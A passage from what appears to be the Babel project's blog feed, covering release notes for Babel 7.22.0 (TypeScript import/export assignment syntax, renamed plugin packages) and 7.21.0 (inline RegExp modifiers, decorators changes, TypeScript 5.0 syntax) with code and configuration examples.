<p>You can also try using the new version of the proposal <a href="https://babeljs.io/repl#?browsers=defaults%2C%20not%20ie%2011%2C%20not%20ie_mob%2011&amp;build=&amp;builtIns=false&amp;corejs=3.21&amp;spec=false&amp;loose=false&amp;code_lz=MYGwhgzhAEBCkFNoG8BQ1oQC5iwS2GjGGASgHsAnaAD2gF5oAmAblQF9VVRIYARBJTwA3BABNoCGlgQA7MTHgQkyTgKGixAOhpA&amp;debug=false&amp;forceAllTransforms=false&amp;modules=false&amp;shippedProposals=false&amp;circleciRepo=&amp;evaluate=false&amp;fileSize=false&amp;timeTravel=false&amp;sourceType=module&amp;lineWrap=true&amp;presets=react&amp;prettier=false&amp;targets=&amp;version=7.22.0&amp;externalPlugins=%40babel%2Fplugin-proposal-decorators%407.21.0&amp;assumptions=%7B%7D" target="_blank" rel="noopener noreferrer" class="">in our REPL</a>, enabling the "Stage 3" preset and choosing the appropriate decorators version.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-import---and-export--statements">TypeScript <code>import ... =</code> and <code>export =</code> statements<a href="https://babeljs.io/blog/2023/05/26/7.22.0#typescript-import---and-export--statements" class="hash-link" aria-label="Direct link to typescript-import---and-export--statements" title="Direct link to typescript-import---and-export--statements" translate="no">​</a></h3>
<p>When using the TypeScript <a href="https://www.typescriptlang.org/tsconfig#verbatimModuleSyntax" target="_blank" rel="noopener noreferrer" class=""><code>verbatimModuleSyntax</code></a> option, ESM <code>import</code>/<code>export</code> statements are disallowed in CommonJS files. Instead, developers must use the <code>import ... =</code> and <code>export =</code> statements:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">TypeScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">A</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>which desugar to:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">A</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">module</span><span class="token punctuation">.</span><span class="token property-access">exports</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>This syntax is only supported in ECMAScript modules, and only when compiling them to CommonJS. Unless you have some custom configuration, this means:</p>
<ul>
<li class="">in <code>.cts</code> files, when using <code>@babel/preset-typescript</code></li>
<li class="">in <code>.ts</code> files written as ESM and compiled with <code>@babel/plugin-transform-modules-commonjs</code></li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="renamed-packages">Renamed packages<a href="https://babeljs.io/blog/2023/05/26/7.22.0#renamed-packages" class="hash-link" aria-label="Direct link to Renamed packages" title="Direct link to Renamed packages" translate="no">​</a></h3>
<p>From now on, we will rename <code>-proposal-</code> plugins to <code>-transform-</code> once they reach Stage 4 in the <a href="https://tc39.es/process-document/" target="_blank" rel="noopener noreferrer" class="">standardization process</a> and thus become stable. The following packages have been renamed:</p>
<table><thead><tr><th style="text-align:center">Old name</th><th style="text-align:center">New name</th><th style="text-align:center">ECMAScript version</th></tr></thead><tbody><tr><td style="text-align:center"><code>@babel/plugin-proposal-unicode-sets-regex</code></td><td style="text-align:center"><code>@babel/plugin-transform-unicode-sets-regex</code></td><td style="text-align:center">ES2024</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-class-static-block</code></td><td style="text-align:center"><code>@babel/plugin-transform-class-static-block</code></td><td style="text-align:center">ES2022</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-private-property-in-object</code></td><td style="text-align:center"><code>@babel/plugin-transform-private-property-in-object</code></td><td style="text-align:center">ES2022</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-class-properties</code></td><td style="text-align:center"><code>@babel/plugin-transform-class-properties</code></td><td style="text-align:center">ES2022</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-private-methods</code></td><td style="text-align:center"><code>@babel/plugin-transform-private-methods</code></td><td style="text-align:center"></td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-numeric-separator</code></td><td style="text-align:center"><code>@babel/plugin-transform-numeric-separator</code></td><td style="text-align:center">ES2021</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-logical-assignment-operators</code></td><td style="text-align:center"><code>@babel/plugin-transform-logical-assignment-operators</code></td><td style="text-align:center">ES2021</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-nullish-coalescing-operator</code></td><td style="text-align:center"><code>@babel/plugin-transform-nullish-coalescing-operator</code></td><td style="text-align:center">ES2020</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-optional-chaining</code></td><td style="text-align:center"><code>@babel/plugin-transform-optional-chaining</code></td><td style="text-align:center">ES2020</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-export-namespace-from</code></td><td style="text-align:center"><code>@babel/plugin-transform-export-namespace-from</code></td><td style="text-align:center">ES2020</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-json-strings</code></td><td style="text-align:center"><code>@babel/plugin-transform-json-strings</code></td><td style="text-align:center">ES2019</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-optional-catch-binding</code></td><td style="text-align:center"><code>@babel/plugin-transform-optional-catch-binding</code></td><td style="text-align:center">ES2019</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-async-generator-functions</code></td><td style="text-align:center"><code>@babel/plugin-transform-async-generator-functions</code></td><td style="text-align:center">ES2018</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-object-rest-spread</code></td><td style="text-align:center"><code>@babel/plugin-transform-object-rest-spread</code></td><td style="text-align:center">ES2018</td></tr><tr><td style="text-align:center"><code>@babel/plugin-proposal-unicode-property-regex</code></td><td style="text-align:center"><code>@babel/plugin-transform-unicode-property-regex</code></td><td style="text-align:center">ES2018</td></tr></tbody></table>
<p>These plugins are all included by default in <code>@babel/preset-env</code>: if you are using the preset, you don't need to explicitly list them in your configuration and thus this change will not affect you. The packages with the old name will no longer be updated.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.21.0 Released: Inline RegExp modifiers, TypeScript 5.0, and Decorators updates]]></title>
            <link>https://babeljs.io/blog/2023/02/20/7.21.0</link>
            <guid>https://babeljs.io/blog/2023/02/20/7.21.0</guid>
            <pubDate>Mon, 20 Feb 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[We just published Babel 7.21.0!]]></description>
            <content:encoded><![CDATA[<p>We just published Babel 7.21.0!</p>
<p>Babel now supports the <a href="https://github.com/tc39/proposal-regexp-modifiers" target="_blank" rel="noopener noreferrer" class="">Inline RegExp modifiers</a> proposal, the latest version of the <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer" class="">Decorators</a> proposal, and the new <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-0/" target="_blank" rel="noopener noreferrer" class="">TypeScript 5.0</a> syntax.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.21.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2023/02/20/7.21.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="inline-regexp-modifiers">Inline RegExp modifiers<a href="https://babeljs.io/blog/2023/02/20/7.21.0#inline-regexp-modifiers" class="hash-link" aria-label="Direct link to Inline RegExp modifiers" title="Direct link to Inline RegExp modifiers" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-regexp-modifiers" target="_blank" rel="noopener noreferrer" class="">Inline RegExp modifiers</a> Stage 3 proposal allows you to enable or disable the <code>i</code>, <code>m</code> and <code>s</code> for <em>part</em> of a regular expression, without affecting other parts.</p>
<p>You can use the <code>(?enableFlags:subPattern)</code> syntax to enable flags, <code>(?-disableFlags:subPattern)</code> to disable them, and <code>(?enableFlags-disableFlags:subPattern)</code> to enable some and disable others at the same time. You can think of non-capturing group <code>(?:subPattern)</code> as a special case where no flags are modified.</p>
<p>As an example, <code>/(?i:a)a/</code> matches an <code>a</code> ignoring its case, followed by a lowercase <code>a</code>:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?i:</span><span class="token regex regex-source language-regex" style="color:#3e999f">a</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">a</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"aa"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token plain">i</span><span class="token operator">:</span><span class="token plain">a</span><span class="token punctuation">)</span><span class="token plain">a</span><span class="token operator">/</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Aa"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">(</span><span class="token operator">?</span><span class="token plain">i</span><span class="token operator">:</span><span class="token plain">a</span><span class="token punctuation">)</span><span class="token plain">a</span><span class="token operator">/</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"aA"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// false</span><br></span></code></pre></div></div>
<p><code>/a(?-i:a)/i</code> is equivalent: the regular expression is case insensitive, expect for the second <code>a</code> which must be lowercase.</p>
<p>You can enable this proposal by installing the <code>@babel/plugin-proposal-regexp-modifiers</code> package and adding it to your Babel configuration:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// Add this!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-regexp-modifiers"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="decorators-updates">Decorators updates<a href="https://babeljs.io/blog/2023/02/20/7.21.0#decorators-updates" class="hash-link" aria-label="Direct link to Decorators updates" title="Direct link to Decorators updates" translate="no">​</a></h3>
<p>TC39, the committee that standardizes JavaScript, <a href="https://github.com/babel/proposals/issues/86#issuecomment-1414202318" target="_blank" rel="noopener noreferrer" class="">recently approved</a> some changes to the <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer" class="">Decorators proposal</a> based on feedback from the TypeScript team.</p>
<ul>
<li class="">Decorators on exported classes can now come either before or after the <code>export</code> keyword, but not in both places at the same time:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// valid</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@dec</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// valid</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> @dec </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">B</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// invalid</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@dec</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> @dec </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">C</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<!-- -->This relaxed restriction aims at simplifying migration from the "<em>legacy</em>" decorators version, by reducing the syntactic differences.</li>
<li class="">The methods on the <code>context.access</code> object provided to decorators expect the target object as their first parameter, rather than as their <code>this</code> receiver:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> accessX</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">dec</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">desc</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> context</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  accessX </span><span class="token operator">=</span><span class="token plain"> context</span><span class="token punctuation">.</span><span class="token property-access">access</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> dec</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @dec #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// old semantics</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">accessX</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">get</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">call</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">===</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// new semantics</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">accessX</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">get</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">===</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
</li>
<li class=""><code>context.access</code> has a new <code>.has</code> method, to check if an object has the corresponding element. Continuing the example above:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// #x in new A</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">accessX</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">has</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">===</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
</li>
</ul>
<p>You can enable this new version of the decorators proposal by setting the <code>version</code> option of <code>"@babel/plugin-proposal-decorators"</code> to <code>"2023-01"</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-decorators"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token property">"version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"2023-01"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>You can also try the new decorators proposal in the online Babel <a href="https://babeljs.io/repl#?code_lz=GYVwdgxgLglg9mABAGzgczQUwE4AoCUiA3gFCKID0FiA8gA6ZICecI2A5AM6IBG2cAd045EEBJzjJMAGjKVqAQzAATRIwU8piAEQBRAG4LkIBVEzbEMJFAAWmRJxjLMPBdgCEcsWAlSAdKhouG5oIAC2jFCc-ADcJAC-JCQQyAqc3ACCxHIAAoFY2HIRtnDKBMSJ8UA&amp;presets=stage-3&amp;version=7.21.0" target="_blank" rel="noopener noreferrer" class="">REPL</a>, enabling the "Stage 3" (or lower) preset in the sidebar and choosing the <code>2023-01</code> decorators version.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-50">TypeScript 5.0<a href="https://babeljs.io/blog/2023/02/20/7.21.0#typescript-50" class="hash-link" aria-label="Direct link to TypeScript 5.0" title="Direct link to TypeScript 5.0" translate="no">​</a></h3>
<p>TypeScript 5.0, currently released as a beta prerelease, introduces two new syntactic features:</p>
<ul>
<li class=""><code>const</code> modifiers for type parameters<!-- -->
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">TypeScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token generic-function function" style="color:#4271ae">getName</span><span class="token generic-function generic class-name operator" style="color:#eab700">&lt;</span><span class="token generic-function generic class-name keyword" style="color:#8959a8">const</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name constant" style="color:#f5871f">T</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name keyword" style="color:#8959a8">extends</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name punctuation" style="color:#eab700">{</span><span class="token generic-function generic class-name" style="color:#eab700"> name</span><span class="token generic-function generic class-name operator" style="color:#eab700">:</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name builtin" style="color:#f5871f">string</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name punctuation" style="color:#eab700">}</span><span class="token generic-function generic class-name operator" style="color:#eab700">&gt;</span><span class="token punctuation">(</span><span class="token plain">user</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"name"</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> user</span><span class="token punctuation">.</span><span class="token plain">name</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> name </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">getName</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain"> name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Babel"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">//  ^? inferred type: "Babel", instead of just string.</span><br></span></code></pre></div></div>
</li>
<li class=""><code>export type *</code> declarations<!-- -->
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">TypeScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">as</span><span class="token plain"> ns </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<!-- -->Babel relies on this new syntax to safely remove the re-<code>export</code> declaration while compiling from TypeScript to JavaScript.</li>
</ul>
<p>Additionally, TypeScript 5.0 introduces support for the standard Decorators proposal, that you can enable in Babel using <code>@babel/plugin-proposal-decorators</code>.</p>
